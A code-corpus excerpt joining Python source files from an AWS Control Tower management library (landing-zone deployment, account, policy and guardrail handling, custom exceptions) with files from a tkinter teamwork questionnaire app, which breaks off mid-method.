self.organizations.list_policies(Filter='SERVICE_CONTROL_POLICY').get('Policies', [])] @validate_availability def get_service_control_policy_by_name(self, name): """Retrieves a service control policy by name. Args: name (str): The name of the SCP to retrieve Returns: scp (ServiceControlPolicy): The scp if a match is found else None. """ return next((scp for scp in self.service_control_policies if scp.name == name), None) @validate_availability def update(self): """Updates the control tower to the latest version. Returns: bool: True on success, False on failure. """ if not self.landing_zone_update_available: self.logger.warning('Landing zone does not seem to need update, is at version %s', self.landing_zone_version) return False log_account = next((account for account in self.core_accounts if account.label == 'LOGGING'), None) if not log_account: raise ServiceCallFailed('Could not retrieve logging account to get the email.') security_account = next((account for account in self.core_accounts if account.label == 'SECURITY'), None) if not security_account: raise ServiceCallFailed('Could not retrieve security account to get the email.') payload = self._get_api_payload(content_string={'HomeRegion': self.region, 'LogAccountEmail': log_account.email, 'SecurityAccountEmail': security_account.email}, target='setupLandingZone') self.logger.debug('Trying to update the landing zone with payload "%s"', payload) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to update the landing zone with response status "%s" and response text "%s"', response.status_code, response.text) return False self.logger.debug('Successfully started updating landing zone') return True @property def busy(self): """Busy.""" return any([self.status == 'IN_PROGRESS', self.status == 'DELETE_IN_PROGRESS', self.get_changing_accounts()]) @property def status(self): """Status.""" return self._get_status().get('LandingZoneStatus') @property def percentage_complete(self): """Percentage complete.""" return self._get_status().get('PercentageComplete') @property def deploying_messages(self): """Deploying messages.""" return self._get_status().get('Messages') @property def region_metadata_list(self): """Region metadata list.""" return self._get_status().get('RegionMetadataList') def _get_status(self): payload = self._get_api_payload(content_string={}, target='getLandingZoneStatus') self.logger.debug('Trying to get the landing zone status with payload "%s"', payload) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to get the landing zone status with response status "%s" and response text "%s"', response.status_code, response.text) return {} self.logger.debug('Successfully got landing zone status.') return response.json() @property @validate_availability def drift_messages(self): """Drift messages.""" payload = self._get_api_payload(content_string={}, target='listDriftDetails') self.logger.debug('Trying to get the drift messages of the landing zone with payload "%s"', payload) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to get the drift message of the landing zone with response status "%s" and ' 'response text "%s"', response.status_code, response.text) return [] return response.json().get('DriftDetails') @property @validate_availability def enabled_guard_rails(self): """Enabled guard rails.""" output = [] for result in self._get_paginated_results(content_payload={}, target='listEnabledGuardrails'): output.extend([GuardRail(self, data) for data in result.get('EnabledGuardrailList')]) return output @property @validate_availability def guard_rails(self): """Guard rails.""" output = [] for result in self._get_paginated_results(content_payload={}, target='listGuardrails'): output.extend([GuardRail(self, data) for data in result.get('GuardrailList')]) return output @property @validate_availability def guard_rails_violations(self): """List guard rails violations.""" output = [] for result in self._get_paginated_results(content_payload={}, target='listGuardrailViolations'): output.extend(result.get('GuardrailViolationList')) return output @property @validate_availability def catastrophic_drift(self): """List of catastrophic drift.""" output = [] for result in self._get_paginated_results(content_payload={}, target='getCatastrophicDrift'): output.extend(result.get('DriftDetails')) return output @property def _account_factory_config(self): """The config of the account factory.""" payload = self._get_api_payload(content_string={}, target='describeAccountFactoryConfig') self.logger.debug('Trying to get the account factory config of the landing zone with payload "%s"', payload) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to get the the account factory config of the landing zone with response status ' '"%s" and response text "%s"', response.status_code, response.text) return {} return response.json().get('AccountFactoryConfig') def _pre_deploy_check(self): """Pre deployment check.""" payload = self._get_api_payload(content_string={}, target='performPreLaunchChecks') self.logger.debug('Trying the pre deployment check with payload "%s"', payload) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to do the pre deployment checks with response status ' '"%s" and response text "%s"', response.status_code, response.text) return [] return response.json().get('PreLaunchChecksResult') def is_email_used(self, email): """Check email for availability to be used or if it is already in use.""" payload = self._get_api_payload(content_string={'AccountEmail': email}, target='getAccountInfo') self.logger.debug('Trying to check email with payload "%s"', payload) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to check for email with response status ' '"%s" and response text "%s"', response.status_code, response.text) raise EmailCheckFailed(response.text) return response.json().get('AccountWithEmailExists') def _validate_regions(self, regions): available_regions = self.get_available_regions() if not set(available_regions).issuperset(set(regions)): raise UnavailableRegion(set(regions) - set(available_regions)) return regions def _create_system_role(self, parameters): default_params = {'Action': 'CreateServiceRole', 'ContentType': 'JSON', 'ServicePrincipalName': 'controltower.amazonaws.com', 'TemplateVersion': 1} default_params.update(parameters) payload = {'headers': {'Content-Type': 'application/x-amz-json-1.1'}, 'method': 'GET', 'params': default_params, 'path': '/', 'region': 'us-east-1'} self.logger.debug('Trying to system role with payload "%s"', payload) response = self.session.post(self._iam_admin_url, json=payload) if all([not response.ok, response.status_code == 409, response.json().get('Error', {}).get('Code') == 'EntityAlreadyExists]']): self.logger.error('Entity already exists, response status "%s" and response text "%s"', response.status_code, response.text) return True if not response.ok: self.logger.error('Entity already exists, response status "%s" and response text "%s"', response.status_code, response.text) return True self.logger.debug('Successfully created system role.') return True def _create_control_tower_admin(self): parameters = {'AmazonManagedPolicyArn': 'arn:aws:iam::aws:policy/service-role/AWSControlTowerServiceRolePolicy', 'Description': 'AWS Control Tower policy to manage AWS resources', 'PolicyName': 'AWSControlTowerAdminPolicy', 'RoleName': 'AWSControlTowerAdmin', 'TemplateName': 'AWSControlTowerAdmin', 'TemplateVersion': 2} return self._create_system_role(parameters) def _create_control_tower_cloud_trail_role(self): parameters = {'Description': 'AWS Cloud Trail assumes this role to create and ' 'publish Cloud Trail logs', 'PolicyName': 'AWSControlTowerCloudTrailRolePolicy', 'RoleName': 'AWSControlTowerCloudTrailRole', 'TemplateName': 'AWSControlTowerCloudTrailRole'} return self._create_system_role(parameters) def _create_control_tower_stack_set_role(self): parameters = {'Description': 'AWS CloudFormation assumes this role to deploy ' 'stacksets in accounts created by AWS Control Tower', 'PolicyName': 'AWSControlTowerStackSetRolePolicy', 'RoleName': 'AWSControlTowerStackSetRole', 'TemplateName': 'AWSControlTowerStackSetRole'} return self._create_system_role(parameters) def _create_control_tower_config_aggregator_role(self): parameters = {'AmazonManagedPolicyArn': 'arn:aws:iam::aws:policy/service-role/AWSConfigRoleForOrganizations', 'Description': 'AWS ControlTower needs this role to help in ' 'external config rule detection', 'RoleName': 'AWSControlTowerConfigAggregatorRoleForOrganizations', 'TemplateName': 'AWSControlTowerConfigAggregatorRole'} return self._create_system_role(parameters) def deploy(self, logging_account_email, security_account_email, regions=None, retries=10, wait=1): # pylint: disable=too-many-arguments """Deploys control tower. Returns: bool: True on success, False on failure. """ if self.is_deployed: self.logger.warning('Control tower does not seem to need deploying, already deployed.') return True regions = self._validate_regions(regions or [self.region]) region_list = [{"Region": region, "RegionConfigurationStatus": "ENABLED" if region in regions else "DISABLED"} for region in self.get_available_regions()] validation = self._pre_deploy_check() self.logger.debug('Got validation response %s.', validation) if not all([list(entry.values()).pop().get('Result') == 'SUCCESS' for entry in validation]): raise PreDeployValidationFailed(validation) invalid_emails = [email for email in [logging_account_email, security_account_email] if self.is_email_used(email)] if invalid_emails: raise EmailInUse(invalid_emails) if not all([self._create_control_tower_admin(), self._create_control_tower_cloud_trail_role(), self._create_control_tower_stack_set_role(), self._create_control_tower_config_aggregator_role()]): raise RoleCreationFailure('Unable to create required roles AWSControlTowerAdmin, ' 'AWSControlTowerCloudTrailRole, AWSControlTowerStackSetRole, ' 'AWSControlTowerConfigAggregatorRole, manual cleanup is required.') payload = self._get_api_payload(content_string={'HomeRegion': self.region, 'LogAccountEmail': logging_account_email, 'SecurityAccountEmail': security_account_email, 'RegionConfigurationList': region_list}, target='setupLandingZone') self.logger.debug('Trying to deploy control tower with payload "%s"', payload) return self._deploy(payload, retries, wait) def _deploy(self, payload, retries=10, wait=1): succeded = False while retries: response = self.session.post(self.url, json=payload) succeded = response.ok retries -= 1 if response.ok: retries = 0 if all([not response.ok, retries]): self.logger.error('Failed to deploy control tower with response status "%s" and response text "%s"' 'still have %s retries will wait for %s seconds', response.status_code, response.text, retries, wait) sleep(wait) if not succeded: self.logger.error('Failed to deploy control tower, retries were spent.. Maybe try again later?') return False self.logger.debug('Successfully started deploying control tower.') return True def decommission(self): """Decommissions a landing zone. The api call does not seem to be enough and although the resources are decomissioned like with the proper process, control tower responds with a delete failed on the api, so it seems that aws needs to perform actions on their end for the decommissioning to be successful. Returns: response (bool): True if the process starts successfully, False otherwise. """ payload = self._get_api_payload(content_string={}, target='deleteLandingZone', region=self.region) response = self.session.post(self.url, json=payload) if not response.ok: self.logger.error('Failed to decommission control tower with response status "%s" and response text "%s"', response.status_code, response.text) return False self._is_deployed = None self.logger.debug('Successfully started decommissioning control tower.') return True
{"/controltowerlib/controltowerlib.py": ["/controltowerlib/controltowerlibexceptions.py"], "/controltowerlib/resources/resources.py": ["/controltowerlib/controltowerlibexceptions.py"]}
70,236
schubergphilis/controltowerlib
refs/heads/master
/controltowerlib/resources/resources.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # File: __init__.py # # Copyright 2020 Costas Tyfoxylos # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # """ resources module. Import all parts from resources here .. _Google Python Style Guide: http://google.github.io/styleguide/pyguide.html """ from time import sleep from awsauthenticationlib.awsauthenticationlib import LoggerMixin from controltowerlib.controltowerlibexceptions import (NonExistentSCP, ControlTowerBusy, NoSuspendedOU) __author__ = '''Costas Tyfoxylos <ctyfoxylos@schubergphilis.com>''' __docformat__ = '''google''' __date__ = '''18-02-2020''' __copyright__ = '''Copyright 2020, Costas Tyfoxylos''' __license__ = '''MIT''' __maintainer__ = '''Costas Tyfoxylos''' __email__ = '''<ctyfoxylos@schubergphilis.com>''' __status__ = '''Development''' # "Prototype", "Development", "Production". class AccountFactory: # pylint: disable=too-few-public-methods, too-many-instance-attributes """Models the account factory data of service catalog.""" def __init__(self, service_catalog_client, data): self._service_catalog = service_catalog_client self._data = data self.has_default_path = self._data.get('HasDefaultPath') self.id = self._data.get('Id') # pylint: disable=invalid-name self.name = self._data.get('Name') self.owner = self._data.get('Owner') self.product_id = self._data.get('ProductId') self.short_description = self._data.get('ShortDescription') self.type = self._data.get('Type') class ServiceControlPolicy: """Models the account factory data of service catalog.""" def __init__(self, data): self._data = data @property def arn(self): """Arn.""" return self._data.get('Arn') @property def aws_managed(self): """Aws Managed.""" return self._data.get('AwsManaged') @property def description(self): """Description.""" return self._data.get('Description') @property def id(self): # pylint: disable=invalid-name """Id.""" return self._data.get('Id') @property def name(self): """Name.""" return self._data.get('Name') @property def type(self): """Type.""" return self._data.get('Type') class GuardRail(LoggerMixin): """Models the guard rail data.""" def __init__(self, control_tower, data): self.control_tower = control_tower self._data_ = data @property def _data(self): """The data of the guard rail as returned by the api.""" return self._data_ @property def behavior(self): """Behavior.""" return self._data_.get('Behavior') @property def category(self): """Category.""" return self._data_.get('Category') @property def description(self): """Description.""" return self._data_.get('Description') @property def display_name(self): """DisplayName.""" return self._data_.get('DisplayName') @property def name(self): """Name.""" return self._data_.get('Name') @property def provider(self): """Provider.""" return self._data_.get('Provider') @property def regional_preference(self): """Regional preference.""" return self._data_.get('RegionalPreference') @property def type(self): """Type.""" return self._data_.get('Type') @property def compliancy_status(self): """Compliancy status.""" payload = self.control_tower._get_api_payload(content_string={'GuardrailName': self.name}, # pylint: disable=protected-access target='getGuardrailComplianceStatus') self.logger.debug('Trying to get the compliancy status with payload "%s"', payload) response = self.control_tower.session.post(self.control_tower.url, json=payload) if not response.ok: self.logger.error('Failed to get the drift message of the landing zone with response status "%s" and ' 'response text "%s"', response.status_code, response.text) return None return response.json().get('ComplianceStatus') class CoreAccount: """Models the core landing zone account data.""" def __init__(self, control_tower, account_label, data): self.control_tower = control_tower self._label = account_label self._data_ = data @property def _data(self): """The data of the account as returned by the api.""" return self._data_ @property def label(self): """Account label.""" return self._label @property def email(self): """Email.""" return self._data_.get('AccountEmail') @property def id(self): # pylint: disable=invalid-name """Id.""" return self._data_.get('AccountId') @property def core_resource_mappings(self): """Core resource mappings.""" return self._data_.get('CoreResourceMappings') @property def stack_set_arn(self): """Stack set arn.""" return self._data_.get('StackSetARN') class ControlTowerAccount(LoggerMixin): # pylint: disable=too-many-public-methods """Models the account data.""" def __init__(self, control_tower, data, info_polling_interval=30): self.control_tower = control_tower self.service_catalog = control_tower.service_catalog self.organizations = control_tower.organizations self._data_ = data self._service_catalog_data_ = None self._record_data_ = None self._info_polling_interval = info_polling_interval @property def _data(self): """The data of the account as returned by the api.""" return self._data_ @property def _service_catalog_data(self): if self._service_catalog_data_ is None: data = self.service_catalog.search_provisioned_products(Filters={'SearchQuery': [f'physicalId:{self.id}']}) if not data.get('TotalResultsCount'): self._service_catalog_data_ = {} else: self._service_catalog_data_ = data.get('ProvisionedProducts', [{}]).pop() return self._service_catalog_data_ @property def _record_data(self): if self._record_data_ is None: if not self.last_record_id: self._record_data_ = {} else: self._record_data_ = self.service_catalog.describe_record(Id=self.last_record_id) return self._record_data_ @property def email(self): """Email.""" return self._data_.get('AccountEmail') @property def id(self): # pylint: disable=invalid-name """Id.""" return self._data_.get('AccountId') @property def name(self): """Name.""" return self._data_.get('AccountName') @property def arn(self): """Arn.""" return self._data_.get('Arn') @property def owner(self): """Owner.""" return self._data_.get('Owner') @property def provision_state(self): """Provision state.""" return self._data_.get('ProvisionState') @property def status(self): """Status.""" return self._data_.get('Status') @property def landing_zone_version(self): """Landing zone version.""" return self._data_.get('DeployedLandingZoneVersion') @property def has_available_update(self): """If the account is behind the landing zone version.""" return float(self.landing_zone_version) < float(self.control_tower.landing_zone_version) @property def guardrail_compliance_status(self): """Retrieves the guardrail compliancy status for the account. Returns: status (str): COMPLIANT|NON COMPLIANT """ payload = self.control_tower._get_api_payload(content_string={'AccountId': self.id}, # pylint: disable=protected-access target='getGuardrailComplianceStatus') response = self.control_tower.session.post(self.control_tower.url, json=payload) if not response.ok: self.logger.error('Failed to get compliancy status from api.') return False return response.json().get('ComplianceStatus') @property def organizational_unit(self): """Organizational Unit.""" return self.control_tower.get_organizational_unit_by_id(self._data_.get('ParentOrganizationalUnitId')) @property def stack_arn(self): """Stack Arn.""" return self._service_catalog_data.get('Arn') @property def created_time(self): """Created Time.""" return self._service_catalog_data.get('CreatedTime') @property def service_catalog_id(self): """Service Catalog ID.""" return self._service_catalog_data.get('Id') @property def idempotency_token(self): """Idempotency Token.""" return self._service_catalog_data.get('IdempotencyToken') @property def last_record_id(self): """Last Record ID.""" return self._service_catalog_data.get('LastRecordId') @property def physical_id(self): """Physical ID.""" return self._service_catalog_data.get('PhysicalId') @property def service_catalog_product_id(self): """Service catalog product ID.""" return self._service_catalog_data.get('ProductId') @property def provisioning_artifact_id(self): """Provisioning artifact ID.""" return self._service_catalog_data.get('ProvisioningArtifactId') @property def service_catalog_tags(self): """Service catalog tags.""" return self._service_catalog_data.get('Tags') @property def service_catalog_type(self): """Service catalog type.""" return self._service_catalog_data.get('Type') @property def service_catalog_status(self): """Service catalog status.""" return self._service_catalog_data.get('Status') @property def service_catalog_user_arn(self): """Service catalog user arn.""" return self._service_catalog_data.get('UserArn') @property def user_arn_session(self): """User arn session.""" return self._service_catalog_data.get('UserArnSession') def _refresh(self): self._data_ = self.control_tower.get_account_by_id(self.id)._data # pylint: disable=protected-access self._record_data_ = None self._service_catalog_data_ = None def _get_record_entry(self, output_key): return next((entry for entry in self._record_data.get('RecordOutputs', []) if entry.get('OutputKey', '') == output_key), {}) @property def sso_user_email(self): """SSO user email.""" return self._get_record_entry(output_key='SSOUserEmail').get('OutputValue') @property def sso_user_portal(self): """SSO user portal.""" return self._get_record_entry(output_key='SSOUserPortal').get('OutputValue') def detach_service_control_policy(self, name): """Detaches a Service Control Policy from the account. Args: name (str): The name of the SCP to detach Returns: result (bool): True on success, False otherwise. """ return self._action_service_control_policy('detach', name) def attach_service_control_policy(self, name): """Attaches a Service Control Policy to the account. Args: name (str): The name of the SCP to attach Returns: result (bool): True on success, False otherwise. """ return self._action_service_control_policy('attach', name) def _action_service_control_policy(self, action, scp_name): scp = self.control_tower.get_service_control_policy_by_name(scp_name) if not scp: raise NonExistentSCP(scp_name) response = getattr(self.organizations, f'{action}_policy')(PolicyId=scp.id, TargetId=self.id) if not response.get('ResponseMetadata', {}).get('HTTPStatusCode') == 200: self.logger.error('Failed to %s SCP "%s" to account with response "%s"', action, scp.name, response) return False self.logger.debug('Successfully %sed SCP "%s" to account', action, scp.name) return True def _terminate(self): """Terminates an account that is in error. Returns: response (dict): The response from the api of the termination request. """ return self.service_catalog.terminate_provisioned_product(ProvisionedProductId=self.service_catalog_id) def delete(self, suspended_ou_name=None): """Delete.""" if not suspended_ou_name: return self._terminate() suspended_ou = self.control_tower.get_organizational_unit_by_name(suspended_ou_name) if not suspended_ou: raise NoSuspendedOU(suspended_ou_name) self._terminate() while self.control_tower.busy: self.logger.debug('Waiting for control tower to terminate the account...') sleep(self._info_polling_interval) self.logger.debug('Moving account from root OU to %s', suspended_ou_name) self.organizations.move_account(AccountId=self.id, SourceParentId=self.control_tower.root_ou.id, DestinationParentId=suspended_ou.id) self.logger.debug('Attaching SCP %s to account', suspended_ou_name) self.attach_service_control_policy(suspended_ou_name) self.logger.debug('Detaching full access SCP from account') self.detach_service_control_policy('FullAWSAccess') return True def update(self): """Updates the account in service catalog. Returns: True if the call succeeded False otherwise """ if not self.has_available_update: return True if self.control_tower.busy: raise ControlTowerBusy arguments = {'ProductId': self.control_tower._account_factory.product_id, # pylint: disable=protected-access 'ProvisionedProductName': self.name, 'ProvisioningArtifactId': self.control_tower._active_artifact.get('Id'), # pylint: disable=protected-access 'ProvisioningParameters': [{'Key': 'AccountName', 'Value': self.name, 'UsePreviousValue': True}, {'Key': 'AccountEmail', 'Value': self.email, 'UsePreviousValue': True}, {'Key': 'SSOUserFirstName', 'Value': 'Control', 'UsePreviousValue': True}, {'Key': 'SSOUserLastName', 'Value': 'Tower', 'UsePreviousValue': True}, {'Key': 'SSOUserEmail', 'Value': self.email, 'UsePreviousValue': True}, {'Key': 'ManagedOrganizationalUnit', 'Value': self.organizational_unit.name, 'UsePreviousValue': True}]} response = self.service_catalog.update_provisioned_product(**arguments) return response.get('ResponseMetadata', {}).get('HTTPStatusCode') == 200 class OrganizationsOU: """Model the data of an Organizations managed OU.""" def __init__(self, data): self._data = data @property def id(self): # pylint: disable=invalid-name """The id of the OU.""" return self._data.get('Id') @property def name(self): """The name of the OU.""" return self._data.get('Name') @property def arn(self): """The arn of the OU.""" return self._data.get('Arn') class ControlTowerOU: """Model the data of a Control Tower managed OU.""" def __init__(self, control_tower, data): self.control_tower = control_tower self._data = data @property def create_date(self): """The date the ou was created in timestamp.""" return self._data.get('CreateDate') @property def id(self): # pylint: disable=invalid-name """OU ID.""" return self._data.get('OrganizationalUnitId') @property def name(self): """The name of the OU.""" return self._data.get('OrganizationalUnitName') @property def type(self): """The type of the OU.""" return self._data.get('OrganizationalUnitType') @property def parent_ou_id(self): """The id of the parent OU.""" return self._data.get('ParentOrganizationalUnitId') @property def parent_ou_name(self): """The name of the parent OU.""" return self._data.get('ParentOrganizationalUnitName') def delete(self): """Deletes the ou. Returns: response (bool): True on success, False otherwise. """ return self.control_tower.delete_organizational_unit(self.name)
{"/controltowerlib/controltowerlib.py": ["/controltowerlib/controltowerlibexceptions.py"], "/controltowerlib/resources/resources.py": ["/controltowerlib/controltowerlibexceptions.py"]}
70,237
schubergphilis/controltowerlib
refs/heads/master
/controltowerlib/controltowerlibexceptions.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # File: controltowerlibexceptions.py # # Copyright 2020 Costas Tyfoxylos # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # """ Custom exception code for controltowerlib. .. _Google Python Style Guide: http://google.github.io/styleguide/pyguide.html """ __author__ = '''Costas Tyfoxylos <ctyfoxylos@schubergphilis.com>''' __docformat__ = '''google''' __date__ = '''18-02-2020''' __copyright__ = '''Copyright 2020, Costas Tyfoxylos''' __credits__ = ["Costas Tyfoxylos"] __license__ = '''MIT''' __maintainer__ = '''Costas Tyfoxylos''' __email__ = '''<ctyfoxylos@schubergphilis.com>''' __status__ = '''Development''' # "Prototype", "Development", "Production". class UnsupportedTarget(Exception): """The target call is not supported by the current implementation.""" class OUCreating(Exception): """The organizational unit is still under creation and cannot be used.""" class NoServiceCatalogAccess(Exception): """There is no access to service catalog.""" class NonExistentSCP(Exception): """The SCP requested does not exist.""" class NoSuspendedOU(Exception): """The suspended ou has not been created.""" class ServiceCallFailed(Exception): """The call to the service has failed.""" class ControlTowerBusy(Exception): """The control tower is already executing some action.""" class ControlTowerNotDeployed(Exception): """The control tower is deployed at all.""" class PreDeployValidationFailed(Exception): """The pre deployment validation failed.""" class EmailCheckFailed(Exception): """Checking of the email was not possible.""" class EmailInUse(Exception): """The email privided is already in use and cannot be used to deploy an account.""" class UnavailableRegion(Exception): """The region or regions provided to control tower to deploy in are not available.""" class RoleCreationFailure(Exception): """Unable to create the required roles for the deployment of control tower, manual clean up is required."""
{"/controltowerlib/controltowerlib.py": ["/controltowerlib/controltowerlibexceptions.py"], "/controltowerlib/resources/resources.py": ["/controltowerlib/controltowerlibexceptions.py"]}
70,250
oagn/tKinterQuestionnaire
refs/heads/master
/Response.py
# Response class class Response: def __init__(self, respNo="", prog="", q1=0, q2=0,q3=0, pr1=0, pr2=0, pr3=0, pr4=0, pr5=0, pr6=0, comment="", name=""): self.respNo = respNo self.prog = prog self.q1 = q1 self.q2 = q2 self.q3 = q3 self.pr1 = pr1 self.pr2 = pr2 self.pr3 = pr3 self.pr4 = pr4 self.pr5 = pr5 self.pr6 = pr6 self.comment = comment self.name = name
{"/Questionnaire.py": ["/Response.py", "/DisplayResults.py"], "/DisplayResults.py": ["/Response.py"]}
70,251
oagn/tKinterQuestionnaire
refs/heads/master
/Questionnaire.py
from tkinter import * from tkinter import messagebox from Response import Response from DisplayResults import * class Questionnaire(Frame): # GUI Setup def __init__(self, master): # Initialise Questionnaire Class Frame.__init__(self, master) self.grid() self.createProgSelect() self.createTeamExpQuest() self.createProblems() self.createComments() self.createButtons() def createProgSelect(self): # Create widgets to select a degree programme from a list lblProg = Label(self, text='Degree Programme:', font=('MS',13,'bold')) lblProg.grid(row=0, column=0, columnspan=2, sticky=NW) self.listProg = Listbox(self, height=3) scroll = Scrollbar(self, command=self.listProg.yview) self.listProg.configure(yscrollcommand=scroll.set) self.listProg.grid(row=0, column=2, columnspan=2, sticky=NE) scroll.grid(row=0, column=4, columnspan=2, sticky=W) for item in ["CS", "CS with", "BIS", "SE", "Joints", ""]: self.listProg.insert(END, item) self.listProg.selection_set(END) def createTeamExpQuest(self): # Create widgets to ask Team Experience Questions # Create labels for radio button question titles lblQuestions = Label(self, text='Team Experience: ', font=('MS',13,'bold')) lblQuestions.grid(row=3, column=0, rowspan=2, columnspan=4, sticky=SW) lblStrAgr = Label(self, text='Strongly \n Agree', font=('MS',13,'bold')) lblStrAgr.grid(row=3, column=4, rowspan=2) lblAgr = Label(self, text='Agree', font=('MS',13,'bold')) lblAgr.grid(row=3, column=5, rowspan=2) lblDisAgr = Label(self, text='Disgree', font=('MS',13,'bold')) lblDisAgr.grid(row=3, column=6, rowspan=2) lblStrDisAgr = Label(self, text='Strongly \n Disgree', font=('MS',13,'bold')) lblStrDisAgr.grid(row=3, column=7, rowspan=2) # Add Question text and radio buttons lblQ1 = Label(self, text='1. Our team worked together effectively') lblQ1.grid(row=5, column=0, columnspan=4, sticky=NW) self.varQ1 = IntVar() R1Q1 = Radiobutton(self, variable=self.varQ1, value=4) R1Q1.grid(row=5, column=4) R2Q1 = Radiobutton(self, variable=self.varQ1, value=3) R2Q1.grid(row=5, column=5) R3Q1 = Radiobutton(self, variable=self.varQ1, value=2) R3Q1.grid(row=5, column=6) R4Q1 = Radiobutton(self, variable=self.varQ1, value=1) R4Q1.grid(row=5, column=7) lblQ2 = Label(self, text='2. Our team produced good quality products') lblQ2.grid(row=6, column=0, columnspan=4, sticky=NW) self.varQ2 = IntVar() R1Q2 = Radiobutton(self, variable=self.varQ2, value=4) R1Q2.grid(row=6, column=4) R2Q2 = Radiobutton(self, variable=self.varQ2, value=3) R2Q2.grid(row=6, column=5) R3Q2 = Radiobutton(self, variable=self.varQ2, value=2) R3Q2.grid(row=6, column=6) R4Q2 = Radiobutton(self, variable=self.varQ2, value=1) R4Q2.grid(row=6, column=7) lblQ3 = Label(self, text='3. I enjoyed working in our team') lblQ3.grid(row=7, column=0, columnspan=4, sticky=NW) self.varQ3 = IntVar() R1Q3 = Radiobutton(self, variable=self.varQ3, value=4) R1Q3.grid(row=7, column=4) R2Q3 = Radiobutton(self, variable=self.varQ3, value=3) R2Q3.grid(row=7, column=5) R3Q3 = Radiobutton(self, variable=self.varQ3, value=2) R3Q3.grid(row=7, column=6) R4Q3 = Radiobutton(self, variable=self.varQ3, value=1) R4Q3.grid(row=7, column=7) def createProblems(self): # Create Widgets to show Problems experienced lblProb1 = Label(self, text='Problems:', font=('MS',13,'bold')) lblProb1.grid(row=9, column=0) lblProb2 = Label(self, text='Our team often experienced the ' + 'following problems (choose all that apply):') lblProb2.grid(row=9, column=1, columnspan=6, sticky=SW) self.varCB1 = IntVar() CB1 = Checkbutton(self, text=" Poor Communication", variable=self.varCB1) CB1.grid(row=9, column=0, columnspan=4, sticky=W) self.varCB2 = IntVar() CB2 = Checkbutton(self, text=" Members missing meetings", variable=self.varCB2) CB2.grid(row=9, column=4, columnspan=4, sticky=W) self.varCB3 = IntVar() CB3 = Checkbutton(self, text=" Lack of direction", variable=self.varCB3) CB3.grid(row=10, column=0, columnspan=4, sticky=W) self.varCB4 = IntVar() CB4 = Checkbutton(self, text=" Members not contributing", variable=self.varCB4) CB4.grid(row=10, column=4, columnspan=4, sticky=W) self.varCB5 = IntVar() CB5 = Checkbutton(self, text=" Disagreements amongst team", variable=self.varCB5) CB5.grid(row=11, column=0, columnspan=4, sticky=W) self.varCB6 = IntVar() CB6 = Checkbutton(self, text=" Members not motivated", variable=self.varCB6) CB6.grid(row=11, column=4, columnspan=4, sticky=W) def createComments(self): # Free text lbltxtComment = Label(self, text='Comments about \n teamwork:', font=('MS',13,'bold')) lbltxtComment.grid(row=12, column=0, columnspan=2, rowspan=3) self.txtComment = Text(self, height=3, width=60) scroll = Scrollbar(self, command=self.txtComment.yview) self.txtComment.configure(yscrollcommand=scroll.set) self.txtComment.grid(row=12, column=2, columnspan=5, sticky=E) scroll.grid(row=12, column=7, sticky=W) lblName = Label(self, text='Name (optional):', font=('MS',13,'bold')) lblName.grid(row=15, column=2) self.entName = Entry(self) self.entName.grid(row=15, column=4, columnspan=2, sticky=E) def createButtons(self): # Submit responses to the questionnaire butSubmit = Button(self, text='Submit', font=('MS', 13, 'bold')) butSubmit['command'] = self.storeResponse # Note: no () after the method butSubmit.grid(row=16, column=2, columnspan=2) butClear = Button(self, text='Clear', font=('MS', 13, 'bold')) butClear['command'] = self.clearResponse # Note: no () after the method butClear.grid(row=16, column=4, columnspan=2) butResults = Button(self, text='Show results', font=('MS', 13, 'bold')) butResults['command'] = self.openResultsWindow # Note: no () after the method butResults.grid(row=16, column=6, columnspan=2) def clearResponse(self): # Clear the Questionnaire # Clear the program selection self.listProg.selection_clear(0, END) self.listProg.selection_set(END) # Clear radio buttons self.varQ1.set(0) self.varQ2.set(0) self.varQ3.set(0) # Clear tick boxes self.varCB1.set(0) self.varCB2.set(0) self.varCB3.set(0) self.varCB4.set(0) self.varCB5.set(0) self.varCB6.set(0) # Clear entries into text boxes self.entName.delete(0, END) self.txtComment.delete(1.0, END) def storeResponse(self): # Store the results of the Questionnaire # Check that degree program has ben selected index = self.listProg.curselection()[0] strProg = str(self.listProg.get(index)) strMsg = "" if strProg == "": strMsg = "You need to select a Degree Programme. " # Check that Team Experience questions have been answered if (self.varQ1.get() == 0) or (self.varQ2.get() == 0) or (self.varQ3.get() == 0): 